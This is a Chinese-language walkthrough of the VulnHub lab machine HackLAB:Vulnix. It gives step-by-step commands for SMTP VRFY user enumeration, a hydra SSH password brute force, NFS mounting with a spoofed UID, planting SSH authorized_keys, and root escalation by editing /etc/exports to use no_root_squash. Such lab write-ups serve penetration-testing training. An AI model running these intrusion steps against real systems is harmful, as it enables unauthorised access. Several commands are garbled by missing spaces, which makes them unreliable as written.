---------------------------------------------------------------
本文题干阅读时间推荐15min,靶场练习推荐3h
----------------------------------------------------------------
如果各位童鞋想讨论以下相关内容,欢迎关注公众号, 联系我:
- OSCP相关技术(备考中)
- CISSP备考经验(已通过认证)
- CCSK(云安全)(已通过认证)
- ISO/IEC 27001 Foundation(已通过认证)
----------------------------------------------------------------
一、前言
主要利用方式:
突破边界:VRFY探测smtp用户+hydra爆破用户名密码
突破边界:showmount远程挂载NFS,私钥登录边界用户
提权过程:sudo 超权编辑可挂载目录,私钥登录root用户
二、靶机信息
靶场: vulnhub.com
靶机名称: HackLAB:Vulnix
难度: 困难
发布时间: 2012年9月10日
下载地址:https://www.vulnhub.com/entry/hacklab-vulnix,48/
备注:涉及到VRFY、hydra、showmount、rsa密钥登录(坑有点大)
演练时间:2023-07-04
三、虚拟机配置
Vmware网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配
攻击IP:192.168.169.198
靶机IP:192.168.169.202
四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0-l
2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 192.168.169.202
五、漏洞利用(突破边界)
3、端口25开放,nc连接
└─$ nc -nv 192.168.169.20225
4、VRFY探测用户
探测结果发现服务器没有禁用VRFY命令
VRFYvulnixVRFYvulnixs
5、可以通过工具枚举出smtp的用户名
smtp-user-enum:是kali自带的,使用Perl编写的工具
└─$ smtp-user-enum-M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.169.202
6、finger命令查询用户信息
└─$ finger user@192.168.169.202
7、使用hydra爆破user账号
└─$ hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://192.168.169.202 -t 4[22][ssh] host: 192.168.169.202 login: user password: letmein
8、使用user账号登录靶机
9、尝试使用sudo提权,失败
10、目标还开放了2049端口(nfs网络文件系统)使用showmount输出网络文件,并挂载NFS
11、挂载后提示权限不够无法访问,查看/etc/passwd 确认用户vulnix的uid和gid都是2008
12、kali切换root权限创建vulnix账号
useraddvulnix -u 2008
13、切换vulnix账户后,进入/tmp/nfs目录下,里面就是一些隐藏的文件夹
└─# su vulnix $cd/tmp/mount$ls -la
14、root用户创建SSH证书(公私钥)(生成一直默认回车即可)
└─# ssh-keygen
15、切换vulnix用户,进入tmp/mnt 路径下创建 .ssh文件夹
将root/.ssh的 id_rsa.pub 导入到 /tmp/mnt/.ssh 下面,并重命名为authorized_keys
root权限下,给id_rsa赋600权限
16、ssh连接
此处坑很大,一般ssh -I id_rsa 指令是连接不成功的,主要原因是openssh 版本的升级导致
六、提权
17、查看账户权限
vulnix@vulnix:~$ sudo -l
可以看到sudo提权,可以以root用户身份执行sudoedit /etc/exports,编辑/etc/exports该文件…
vulnix@vulnix:~$ cat /etc/exportsvulnix@vulnix:~$ sudoedit /etc/exportsvulnix@vulnix:~$ cat /etc/exports
18、通过用no_root_squash替换root_squash来实,Ctrl+X 然后输入Y,回车保存退出
19、VM重启机器后,使用showmount查看目标网络文件
20、创建mount目录用来挂载root
21、重启kali(原有的vulnix挂载要取消掉)再进行挂载root用户,挂载成功后进入验证
└─# mount -t nfs 192.168.169.202:/root /tmp/mount
22、以root用户在tmp目录下创建公私钥
└─# mkdir .ssh └─# ls -la└─# ssh-keygen
23、靶机root目录下创建.ssh目录
24、从kali中生成root密钥拷贝到靶机的目录下
└─# cat /tmp/.ssh/id_rsa.pub > /tmp/mount/.ssh/authorized_keys
靶机验证生成
私钥赋权600
25、私钥连接靶机,成功登录,验证权限、路径以及获取root目录下的flag
└─# ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa'-i id_rsa root@192.168.169.202
-----------------------------------------------
靶场到此就结束啦,我们下期再见
--------------------------------------------------